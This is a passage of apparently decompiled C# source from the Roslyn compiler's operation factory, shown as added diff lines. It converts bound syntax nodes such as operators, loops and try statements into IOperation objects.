boundBinaryOperator.ConstantValueOpt; + bool flag = boundBinaryOperator.OperatorKind.IsLifted(); + bool flag2 = boundBinaryOperator.OperatorKind.IsChecked() || ((object)boundBinaryOperator.Method != null && SyntaxFacts.IsCheckedOperator(boundBinaryOperator.Method.Name)); + bool flag3 = false; + bool wasCompilerGenerated = boundBinaryOperator.WasCompilerGenerated; + return (IBinaryOperation)new BinaryOperation(val, left, right, flag, flag2, flag3, val2, (ITypeSymbol)(object)GetConstrainedToTypeForOperator(boundBinaryOperator.Method, boundBinaryOperator.ConstrainedToType).GetPublicSymbol(), val3, _semanticModel, syntax, publicTypeSymbol, constantValueOpt, wasCompilerGenerated); + } + + private IOperation CreateBoundInterpolatedStringBinaryOperator(BoundBinaryOperator boundBinaryOperator) + { + Func interpolatedStringFactory = createInterpolatedStringOperand; + Func binaryOperatorFactory = createBoundBinaryOperatorOperation; + return boundBinaryOperator.RewriteInterpolatedStringAddition((this, boundBinaryOperator.InterpolatedStringHandlerData.GetValueOrDefault()), interpolatedStringFactory, binaryOperatorFactory); + static IBinaryOperation createBoundBinaryOperatorOperation(BoundBinaryOperator boundBinaryOperator2, IOperation left, IOperation right, (CSharpOperationFactory @this, InterpolatedStringHandlerData _) arg) + { + return arg.@this.CreateBoundBinaryOperatorOperation(boundBinaryOperator2, left, right); + } + static IInterpolatedStringOperation createInterpolatedStringOperand(BoundInterpolatedString boundInterpolatedString, int i, (CSharpOperationFactory @this, InterpolatedStringHandlerData Data) arg) + { + return arg.@this.CreateBoundInterpolatedStringExpressionOperation(boundInterpolatedString, arg.Data.PositionInfo[i]); + } + } + + private ITupleBinaryOperation CreateBoundTupleBinaryOperatorOperation(BoundTupleBinaryOperator boundTupleBinaryOperator) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Expected O, but got Unknown + IOperation val = Create(boundTupleBinaryOperator.Left); + IOperation val2 = Create(boundTupleBinaryOperator.Right); + BinaryOperatorKind val3 = Helper.DeriveBinaryOperatorKind(boundTupleBinaryOperator.OperatorKind); + SyntaxNode syntax = boundTupleBinaryOperator.Syntax; + ITypeSymbol publicTypeSymbol = boundTupleBinaryOperator.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundTupleBinaryOperator.WasCompilerGenerated; + return (ITupleBinaryOperation)new TupleBinaryOperation(val3, val, val2, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IConditionalOperation CreateBoundConditionalOperatorOperation(BoundConditionalOperator boundConditionalOperator) + { + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Expected O, but got Unknown + IOperation? obj = Create(boundConditionalOperator.Condition); + IOperation val = Create(boundConditionalOperator.Consequence); + IOperation val2 = Create(boundConditionalOperator.Alternative); + bool isRef = boundConditionalOperator.IsRef; + SyntaxNode syntax = boundConditionalOperator.Syntax; + ITypeSymbol publicTypeSymbol = boundConditionalOperator.GetPublicTypeSymbol(); + ConstantValue constantValueOpt = boundConditionalOperator.ConstantValueOpt; + bool wasCompilerGenerated = boundConditionalOperator.WasCompilerGenerated; + return (IConditionalOperation)new ConditionalOperation(obj, val, val2, isRef, _semanticModel, syntax, publicTypeSymbol, constantValueOpt, wasCompilerGenerated); + } + + private ICoalesceOperation CreateBoundNullCoalescingOperatorOperation(BoundNullCoalescingOperator boundNullCoalescingOperator) + { + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Expected O, but got Unknown + IOperation? obj = Create(boundNullCoalescingOperator.LeftOperand); + IOperation val = Create(boundNullCoalescingOperator.RightOperand); + SyntaxNode syntax = boundNullCoalescingOperator.Syntax; + ITypeSymbol publicTypeSymbol = boundNullCoalescingOperator.GetPublicTypeSymbol(); + ConstantValue constantValueOpt = boundNullCoalescingOperator.ConstantValueOpt; + bool wasCompilerGenerated = boundNullCoalescingOperator.WasCompilerGenerated; + Conversion conversion = BoundNode.GetConversion(boundNullCoalescingOperator.LeftConversion, boundNullCoalescingOperator.LeftPlaceholder); + if (conversion.Exists && !conversion.IsIdentity && boundNullCoalescingOperator.Type.Equals(boundNullCoalescingOperator.LeftOperand.Type?.StrippedType(), (TypeCompareKind)9)) + { + conversion = Conversion.Identity; + } + return (ICoalesceOperation)new CoalesceOperation(obj, val, (IConvertibleConversion)(object)conversion, _semanticModel, syntax, publicTypeSymbol, constantValueOpt, wasCompilerGenerated); + } + + private IOperation CreateBoundNullCoalescingAssignmentOperatorOperation(BoundNullCoalescingAssignmentOperator boundNode) + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Expected O, but got Unknown + IOperation? obj = Create(boundNode.LeftOperand); + IOperation val = Create(boundNode.RightOperand); + SyntaxNode syntax = boundNode.Syntax; + ITypeSymbol publicTypeSymbol = boundNode.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundNode.WasCompilerGenerated; + return (IOperation)new CoalesceAssignmentOperation(obj, val, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IAwaitOperation CreateBoundAwaitExpressionOperation(BoundAwaitExpression boundAwaitExpression) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + IOperation? obj = Create(boundAwaitExpression.Expression); + SyntaxNode syntax = boundAwaitExpression.Syntax; + ITypeSymbol publicTypeSymbol = boundAwaitExpression.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundAwaitExpression.WasCompilerGenerated; + return (IAwaitOperation)new AwaitOperation(obj, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IArrayElementReferenceOperation CreateBoundArrayAccessOperation(BoundArrayAccess boundArrayAccess) + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Expected O, but got Unknown + IOperation? obj = Create(boundArrayAccess.Expression); + ImmutableArray immutableArray = this.CreateFromArray(boundArrayAccess.Indices); + SyntaxNode syntax = boundArrayAccess.Syntax; + ITypeSymbol publicTypeSymbol = boundArrayAccess.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundArrayAccess.WasCompilerGenerated; + return (IArrayElementReferenceOperation)new ArrayElementReferenceOperation(obj, immutableArray, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IOperation CreateBoundImplicitIndexerAccessOperation(BoundImplicitIndexerAccess boundIndexerAccess) + { + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Expected O, but got Unknown + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Expected O, but got Unknown + IOperation val = Create(boundIndexerAccess.Receiver); + IOperation val2 = Create(boundIndexerAccess.Argument); + SyntaxNode syntax = boundIndexerAccess.Syntax; + ITypeSymbol publicTypeSymbol = boundIndexerAccess.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundIndexerAccess.WasCompilerGenerated; + if (boundIndexerAccess.LengthOrCountAccess.Kind != BoundKind.ArrayLength) + { + BoundExpression receiver; + SyntaxNode propertySyntax; + IPropertySymbol publicSymbol = Binder.GetPropertySymbol(boundIndexerAccess.LengthOrCountAccess, out receiver, out propertySyntax).GetPublicSymbol(); + ISymbol publicSymbol2 = Binder.GetIndexerOrImplicitIndexerSymbol(boundIndexerAccess).GetPublicSymbol(); + return (IOperation)new ImplicitIndexerReferenceOperation(val, val2, (ISymbol)(object)publicSymbol, publicSymbol2, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + return (IOperation)new ArrayElementReferenceOperation(val, ImmutableArray.Create(val2), _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IInlineArrayAccessOperation CreateBoundInlineArrayAccessOperation(BoundInlineArrayAccess boundInlineArrayAccess) + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Expected O, but got Unknown + IOperation? obj = Create(boundInlineArrayAccess.Expression); + IOperation val = Create(boundInlineArrayAccess.Argument); + SyntaxNode syntax = boundInlineArrayAccess.Syntax; + ITypeSymbol publicTypeSymbol = boundInlineArrayAccess.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundInlineArrayAccess.WasCompilerGenerated; + return (IInlineArrayAccessOperation)new InlineArrayAccessOperation(obj, val, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private INameOfOperation CreateBoundNameOfOperatorOperation(BoundNameOfOperator boundNameOfOperator) + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Expected O, but got Unknown + IOperation? obj = Create(boundNameOfOperator.Argument); + SyntaxNode syntax = boundNameOfOperator.Syntax; + ITypeSymbol publicTypeSymbol = boundNameOfOperator.GetPublicTypeSymbol(); + ConstantValue constantValueOpt = boundNameOfOperator.ConstantValueOpt; + bool wasCompilerGenerated = boundNameOfOperator.WasCompilerGenerated; + return (INameOfOperation)new NameOfOperation(obj, _semanticModel, syntax, publicTypeSymbol, constantValueOpt, wasCompilerGenerated); + } + + private IThrowOperation CreateBoundThrowExpressionOperation(BoundThrowExpression boundThrowExpression) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + IOperation? obj = Create(boundThrowExpression.Expression); + SyntaxNode syntax = boundThrowExpression.Syntax; + ITypeSymbol publicTypeSymbol = boundThrowExpression.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundThrowExpression.WasCompilerGenerated; + return (IThrowOperation)new ThrowOperation(obj, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IAddressOfOperation CreateBoundAddressOfOperatorOperation(BoundAddressOfOperator boundAddressOfOperator) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + IOperation? obj = Create(boundAddressOfOperator.Operand); + SyntaxNode syntax = boundAddressOfOperator.Syntax; + ITypeSymbol publicTypeSymbol = boundAddressOfOperator.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundAddressOfOperator.WasCompilerGenerated; + return (IAddressOfOperation)new AddressOfOperation(obj, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IInstanceReferenceOperation CreateBoundImplicitReceiverOperation(BoundImplicitReceiver boundImplicitReceiver) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + SyntaxNode syntax = boundImplicitReceiver.Syntax; + ITypeSymbol publicTypeSymbol = boundImplicitReceiver.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundImplicitReceiver.WasCompilerGenerated; + return (IInstanceReferenceOperation)new InstanceReferenceOperation((InstanceReferenceKind)1, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IConditionalAccessOperation CreateBoundConditionalAccessOperation(BoundConditionalAccess boundConditionalAccess) + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Expected O, but got Unknown + IOperation? obj = Create(boundConditionalAccess.Receiver); + IOperation val = Create(boundConditionalAccess.AccessExpression); + SyntaxNode syntax = boundConditionalAccess.Syntax; + ITypeSymbol publicTypeSymbol = boundConditionalAccess.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundConditionalAccess.WasCompilerGenerated; + return (IConditionalAccessOperation)new ConditionalAccessOperation(obj, val, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IConditionalAccessInstanceOperation CreateBoundConditionalReceiverOperation(BoundConditionalReceiver boundConditionalReceiver) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Expected O, but got Unknown + SyntaxNode syntax = boundConditionalReceiver.Syntax; + ITypeSymbol publicTypeSymbol = boundConditionalReceiver.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundConditionalReceiver.WasCompilerGenerated; + return (IConditionalAccessInstanceOperation)new ConditionalAccessInstanceOperation(_semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IFieldInitializerOperation CreateBoundFieldEqualsValueOperation(BoundFieldEqualsValue boundFieldEqualsValue) + { + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Expected O, but got Unknown + ImmutableArray immutableArray = ImmutableArray.Create(boundFieldEqualsValue.Field.GetPublicSymbol()); + IOperation val = Create(boundFieldEqualsValue.Value); + SyntaxNode syntax = boundFieldEqualsValue.Syntax; + bool wasCompilerGenerated = boundFieldEqualsValue.WasCompilerGenerated; + return (IFieldInitializerOperation)new FieldInitializerOperation(immutableArray, boundFieldEqualsValue.Locals.GetPublicSymbols(), val, _semanticModel, syntax, wasCompilerGenerated); + } + + private IPropertyInitializerOperation CreateBoundPropertyEqualsValueOperation(BoundPropertyEqualsValue boundPropertyEqualsValue) + { + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Expected O, but got Unknown + ImmutableArray immutableArray = ImmutableArray.Create(boundPropertyEqualsValue.Property.GetPublicSymbol()); + IOperation val = Create(boundPropertyEqualsValue.Value); + SyntaxNode syntax = boundPropertyEqualsValue.Syntax; + bool wasCompilerGenerated = boundPropertyEqualsValue.WasCompilerGenerated; + return (IPropertyInitializerOperation)new PropertyInitializerOperation(immutableArray, boundPropertyEqualsValue.Locals.GetPublicSymbols(), val, _semanticModel, syntax, wasCompilerGenerated); + } + + private IParameterInitializerOperation CreateBoundParameterEqualsValueOperation(BoundParameterEqualsValue boundParameterEqualsValue) + { + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Expected O, but got Unknown + IParameterSymbol? publicSymbol = boundParameterEqualsValue.Parameter.GetPublicSymbol(); + IOperation val = Create(boundParameterEqualsValue.Value); + SyntaxNode syntax = boundParameterEqualsValue.Syntax; + bool wasCompilerGenerated = boundParameterEqualsValue.WasCompilerGenerated; + return (IParameterInitializerOperation)new ParameterInitializerOperation(publicSymbol, boundParameterEqualsValue.Locals.GetPublicSymbols(), val, _semanticModel, syntax, wasCompilerGenerated); + } + + private IBlockOperation CreateBoundBlockOperation(BoundBlock boundBlock) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Expected O, but got Unknown + ImmutableArray immutableArray = this.CreateFromArray(boundBlock.Statements); + ImmutableArray publicSymbols = boundBlock.Locals.GetPublicSymbols(); + SyntaxNode syntax = boundBlock.Syntax; + bool wasCompilerGenerated = boundBlock.WasCompilerGenerated; + return (IBlockOperation)new BlockOperation(immutableArray, publicSymbols, _semanticModel, syntax, wasCompilerGenerated); + } + + private IBranchOperation CreateBoundContinueStatementOperation(BoundContinueStatement boundContinueStatement) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Expected O, but got Unknown + ILabelSymbol? publicSymbol = boundContinueStatement.Label.GetPublicSymbol(); + BranchKind val = (BranchKind)1; + SyntaxNode syntax = boundContinueStatement.Syntax; + bool wasCompilerGenerated = boundContinueStatement.WasCompilerGenerated; + return (IBranchOperation)new BranchOperation(publicSymbol, val, _semanticModel, syntax, wasCompilerGenerated); + } + + private IBranchOperation CreateBoundBreakStatementOperation(BoundBreakStatement boundBreakStatement) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Expected O, but got Unknown + ILabelSymbol? publicSymbol = boundBreakStatement.Label.GetPublicSymbol(); + BranchKind val = (BranchKind)2; + SyntaxNode syntax = boundBreakStatement.Syntax; + bool wasCompilerGenerated = boundBreakStatement.WasCompilerGenerated; + return (IBranchOperation)new BranchOperation(publicSymbol, val, _semanticModel, syntax, wasCompilerGenerated); + } + + private IReturnOperation CreateBoundYieldBreakStatementOperation(BoundYieldBreakStatement boundYieldBreakStatement) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Expected O, but got Unknown + SyntaxNode syntax = boundYieldBreakStatement.Syntax; + bool wasCompilerGenerated = boundYieldBreakStatement.WasCompilerGenerated; + return (IReturnOperation)new ReturnOperation((IOperation)null, (OperationKind)10, _semanticModel, syntax, wasCompilerGenerated); + } + + private IBranchOperation CreateBoundGotoStatementOperation(BoundGotoStatement boundGotoStatement) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Expected O, but got Unknown + ILabelSymbol? publicSymbol = boundGotoStatement.Label.GetPublicSymbol(); + BranchKind val = (BranchKind)3; + SyntaxNode syntax = boundGotoStatement.Syntax; + bool wasCompilerGenerated = boundGotoStatement.WasCompilerGenerated; + return (IBranchOperation)new BranchOperation(publicSymbol, val, _semanticModel, syntax, wasCompilerGenerated); + } + + private IEmptyOperation CreateBoundNoOpStatementOperation(BoundNoOpStatement boundNoOpStatement) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Expected O, but got Unknown + SyntaxNode syntax = boundNoOpStatement.Syntax; + bool wasCompilerGenerated = boundNoOpStatement.WasCompilerGenerated; + return (IEmptyOperation)new EmptyOperation(_semanticModel, syntax, wasCompilerGenerated); + } + + private IConditionalOperation CreateBoundIfStatementOperation(BoundIfStatement boundIfStatement) + { + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Expected O, but got Unknown + IOperation? obj = Create(boundIfStatement.Condition); + IOperation val = Create(boundIfStatement.Consequence); + IOperation val2 = Create(boundIfStatement.AlternativeOpt); + bool flag = false; + SyntaxNode syntax = boundIfStatement.Syntax; + ITypeSymbol val3 = null; + ConstantValue val4 = null; + bool wasCompilerGenerated = boundIfStatement.WasCompilerGenerated; + return (IConditionalOperation)new ConditionalOperation(obj, val, val2, flag, _semanticModel, syntax, val3, val4, wasCompilerGenerated); + } + + private IWhileLoopOperation CreateBoundWhileStatementOperation(BoundWhileStatement boundWhileStatement) + { + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Expected O, but got Unknown + IOperation? obj = Create(boundWhileStatement.Condition); + IOperation val = Create(boundWhileStatement.Body); + ImmutableArray publicSymbols = boundWhileStatement.Locals.GetPublicSymbols(); + ILabelSymbol publicSymbol = boundWhileStatement.ContinueLabel.GetPublicSymbol(); + ILabelSymbol publicSymbol2 = boundWhileStatement.BreakLabel.GetPublicSymbol(); + bool flag = true; + bool flag2 = false; + SyntaxNode syntax = boundWhileStatement.Syntax; + bool wasCompilerGenerated = boundWhileStatement.WasCompilerGenerated; + return (IWhileLoopOperation)new WhileLoopOperation(obj, flag, flag2, (IOperation)null, val, publicSymbols, publicSymbol, publicSymbol2, _semanticModel, syntax, wasCompilerGenerated); + } + + private IWhileLoopOperation CreateBoundDoStatementOperation(BoundDoStatement boundDoStatement) + { + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Expected O, but got Unknown + IOperation? obj = Create(boundDoStatement.Condition); + IOperation val = Create(boundDoStatement.Body); + ILabelSymbol publicSymbol = boundDoStatement.ContinueLabel.GetPublicSymbol(); + ILabelSymbol publicSymbol2 = boundDoStatement.BreakLabel.GetPublicSymbol(); + bool flag = false; + bool flag2 = false; + ImmutableArray publicSymbols = boundDoStatement.Locals.GetPublicSymbols(); + SyntaxNode syntax = boundDoStatement.Syntax; + bool wasCompilerGenerated = boundDoStatement.WasCompilerGenerated; + return (IWhileLoopOperation)new WhileLoopOperation(obj, flag, flag2, (IOperation)null, val, publicSymbols, publicSymbol, publicSymbol2, _semanticModel, syntax, wasCompilerGenerated); + } + + private IForLoopOperation CreateBoundForStatementOperation(BoundForStatement boundForStatement) + { + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Expected O, but got Unknown + ImmutableArray immutableArray = this.CreateFromArray(ToStatements(boundForStatement.Initializer)); + IOperation val = Create(boundForStatement.Condition); + ImmutableArray immutableArray2 = this.CreateFromArray(ToStatements(boundForStatement.Increment)); + IOperation val2 = Create(boundForStatement.Body); + ImmutableArray publicSymbols = boundForStatement.OuterLocals.GetPublicSymbols(); + ImmutableArray publicSymbols2 = boundForStatement.InnerLocals.GetPublicSymbols(); + ILabelSymbol publicSymbol = boundForStatement.ContinueLabel.GetPublicSymbol(); + ILabelSymbol publicSymbol2 = boundForStatement.BreakLabel.GetPublicSymbol(); + SyntaxNode syntax = boundForStatement.Syntax; + bool wasCompilerGenerated = boundForStatement.WasCompilerGenerated; + return (IForLoopOperation)new ForLoopOperation(immutableArray, publicSymbols2, val, immutableArray2, val2, publicSymbols, publicSymbol, publicSymbol2, _semanticModel, syntax, wasCompilerGenerated); + } + + internal ForEachLoopOperationInfo? GetForEachLoopOperatorInfo(BoundForEachStatement boundForEachStatement) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0186: Unknown result type (might be due to invalid IL or missing references) + //IL_018c: Expected O, but got Unknown + ForEachEnumeratorInfo enumeratorInfoOpt = boundForEachStatement.EnumeratorInfoOpt; + if (enumeratorInfoOpt != null) + { + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + CSharpCompilation cSharpCompilation = (CSharpCompilation)(object)_semanticModel.Compilation; + NamedTypeSymbol destination = (enumeratorInfoOpt.IsAsync ? cSharpCompilation.GetWellKnownType((WellKnownType)287) : cSharpCompilation.GetSpecialType((SpecialType)35)); + ITypeSymbol? publicSymbol = enumeratorInfoOpt.ElementType.GetPublicSymbol(); + IMethodSymbol? publicSymbol2 = enumeratorInfoOpt.GetEnumeratorInfo.Method.GetPublicSymbol(); + IPropertySymbol? publicSymbol3 = ((PropertySymbol)enumeratorInfoOpt.CurrentPropertyGetter.AssociatedSymbol).GetPublicSymbol(); + IMethodSymbol? publicSymbol4 = enumeratorInfoOpt.MoveNextInfo.Method.GetPublicSymbol(); + bool isAsync = enumeratorInfoOpt.IsAsync; + object obj; + if ((int)enumeratorInfoOpt.InlineArraySpanType != 0) + { + IConvertibleConversion val = (IConvertibleConversion)(object)Conversion.InlineArray; + obj = val; + } + else + { + obj = null; + } + bool inlineArrayUsedAsValue = enumeratorInfoOpt.InlineArrayUsedAsValue; + bool needsDisposal = enumeratorInfoOpt.NeedsDisposal; + bool num = enumeratorInfoOpt.NeedsDisposal && cSharpCompilation.Conversions.ClassifyImplicitConversionFromType(enumeratorInfoOpt.GetEnumeratorInfo.Method.ReturnType, destination, ref useSiteInfo).IsImplicit; + IMethodSymbol? obj2 = enumeratorInfoOpt.PatternDisposeInfo?.Method.GetPublicSymbol(); + object obj3 = BoundNode.GetConversion(enumeratorInfoOpt.CurrentConversion, enumeratorInfoOpt.CurrentPlaceholder); + object obj4 = BoundNode.GetConversion(boundForEachStatement.ElementConversion, boundForEachStatement.ElementPlaceholder); + ImmutableArray immutableArray = CreateArgumentOperations(enumeratorInfoOpt.GetEnumeratorInfo, boundForEachStatement.Expression.Syntax); + ImmutableArray immutableArray2 = CreateArgumentOperations(enumeratorInfoOpt.MoveNextInfo, boundForEachStatement.Expression.Syntax); + ImmutableArray immutableArray3 = (((object)enumeratorInfoOpt.PatternDisposeInfo != null) ? CreateDisposeArguments(enumeratorInfoOpt.PatternDisposeInfo, boundForEachStatement.Syntax) : default(ImmutableArray)); + return new ForEachLoopOperationInfo(publicSymbol, publicSymbol2, publicSymbol3, publicSymbol4, isAsync, (IConvertibleConversion)obj, inlineArrayUsedAsValue, needsDisposal, num, obj2, (IConvertibleConversion)obj3, (IConvertibleConversion)obj4, immutableArray, immutableArray2, default(ImmutableArray), immutableArray3); + } + return null; + ImmutableArray CreateArgumentOperations(MethodArgumentInfo? info, SyntaxNode invocationSyntax) + { + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + if (info == null) + { + return default(ImmutableArray); + } + if (info.Arguments.Length == 0) + { + return ImmutableArray.Empty; + } + return Operation.SetParentOperation(DeriveArguments(info.Method, info.Arguments, default(ImmutableArray), info.DefaultArguments, info.Expanded, invocationSyntax, info.Method.IsExtensionMethod), (IOperation)null); + } + } + + internal IOperation CreateBoundForEachStatementLoopControlVariable(BoundForEachStatement boundForEachStatement) + { + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Expected O, but got Unknown + if (boundForEachStatement.DeconstructionOpt != null) + { + return Create(boundForEachStatement.DeconstructionOpt.DeconstructionAssignment.Left); + } + if (boundForEachStatement.IterationErrorExpressionOpt != null) + { + return Create(boundForEachStatement.IterationErrorExpressionOpt); + } + LocalSymbol symbol = boundForEachStatement.IterationVariables[0]; + SyntaxNode syntax = boundForEachStatement.IterationVariableType.Syntax; + return (IOperation)new VariableDeclaratorOperation(symbol.GetPublicSymbol(), (IVariableInitializerOperation)null, ImmutableArray.Empty, _semanticModel, syntax, false); + } + + private IForEachLoopOperation CreateBoundForEachStatementOperation(BoundForEachStatement boundForEachStatement) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0103: Unknown result type (might be due to invalid IL or missing references) + //IL_0109: Expected O, but got Unknown + IOperation obj = CreateBoundForEachStatementLoopControlVariable(boundForEachStatement); + WellKnownType? val = boundForEachStatement.EnumeratorInfoOpt?.InlineArraySpanType; + bool flag = ((!val.HasValue || (int)val.GetValueOrDefault() == 0) ? true : false); + BoundExpression boundNode; + if (!flag && boundForEachStatement.Expression is BoundConversion { Conversion: { IsIdentity: not false }, ExplicitCastInCode: false } boundConversion) + { + BoundExpression operand = boundConversion.Operand; + if (operand != null) + { + boundNode = operand; + goto IL_0088; + } + } + boundNode = boundForEachStatement.Expression; + goto IL_0088; + IL_0088: + IOperation val2 = Create(boundNode); + ImmutableArray empty = ImmutableArray.Empty; + IOperation val3 = Create(boundForEachStatement.Body); + ForEachLoopOperationInfo forEachLoopOperatorInfo = GetForEachLoopOperatorInfo(boundForEachStatement); + ImmutableArray publicSymbols = boundForEachStatement.IterationVariables.GetPublicSymbols(); + ILabelSymbol publicSymbol = boundForEachStatement.ContinueLabel.GetPublicSymbol(); + ILabelSymbol publicSymbol2 = boundForEachStatement.BreakLabel.GetPublicSymbol(); + SyntaxNode syntax = boundForEachStatement.Syntax; + bool wasCompilerGenerated = boundForEachStatement.WasCompilerGenerated; + bool flag2 = boundForEachStatement.AwaitOpt != null; + return (IForEachLoopOperation)new ForEachLoopOperation(obj, val2, empty, forEachLoopOperatorInfo, flag2, val3, publicSymbols, publicSymbol, publicSymbol2, _semanticModel, syntax, wasCompilerGenerated); + } + + private ITryOperation CreateBoundTryStatementOperation(BoundTryStatement boundTryStatement) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004e: Expected O, but got Unknown + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Expected O, but got Unknown + IBlockOperation val = (IBlockOperation)Create(boundTryStatement.TryBlock); + ImmutableArray immutableArray = this.CreateFromArray(boundTryStatement.CatchBlocks); + IBlockOperation val2 = (IBlockOperation)Create(boundTryStatement.FinallyBlockOpt); + SyntaxNode syntax = boundTryStatement.Syntax; + bool wasCompilerGenerated = boundTryStatement.WasCompilerGenerated; + return (ITryOperation)new TryOperation(val, immutableArray, val2, (ILabelSymbol)null, _semanticModel, syntax, wasCompilerGenerated); + } + + private ICatchClauseOperation CreateBoundCatchBlockOperation(BoundCatchBlock boundCatchBlock) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Expected O, but got Unknown + IVariableDeclaratorOperation? obj = CreateVariableDeclarator((BoundLocal)boundCatchBlock.ExceptionSourceOpt); + IOperation val = Create(boundCatchBlock.ExceptionFilterOpt); + IBlockOperation val2 = (IBlockOperation)Create(boundCatchBlock.Body); + ITypeSymbol val3 = (ITypeSymbol)(((object)boundCatchBlock.ExceptionTypeOpt.GetPublicSymbol()) ?? ((object)_semanticModel.Compilation.ObjectType)); + ImmutableArray publicSymbols = boundCatchBlock.Locals.GetPublicSymbols(); + SyntaxNode syntax = boundCatchBlock.Syntax; + bool wasCompilerGenerated = boundCatchBlock.WasCompilerGenerated; + return (ICatchClauseOperation)new CatchClauseOperation((IOperation)(object)obj, val3, publicSymbols, val, val2, _semanticModel, syntax, wasCompilerGenerated); + } + + private IFixedOperation CreateBoundFixedStatementOperation(BoundFixedStatement boundFixedStatement) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Expected O, but got Unknown + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Expected O, but got Unknown + IVariableDeclarationGroupOperation val = (IVariableDeclarationGroupOperation)Create(boundFixedStatement.Declarations); + IOperation val2 = Create(boundFixedStatement.Body); + ImmutableArray publicSymbols = boundFixedStatement.Locals.GetPublicSymbols(); + SyntaxNode syntax = boundFixedStatement.Syntax; + bool wasCompilerGenerated = boundFixedStatement.WasCompilerGenerated; + return (IFixedOperation)new FixedOperation(publicSymbols, val, val2, _semanticModel, syntax, wasCompilerGenerated); + } + + private IUsingOperation CreateBoundUsingStatementOperation(BoundUsingStatement boundUsingStatement) + { + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Expected O, but got Unknown + IOperation? obj = 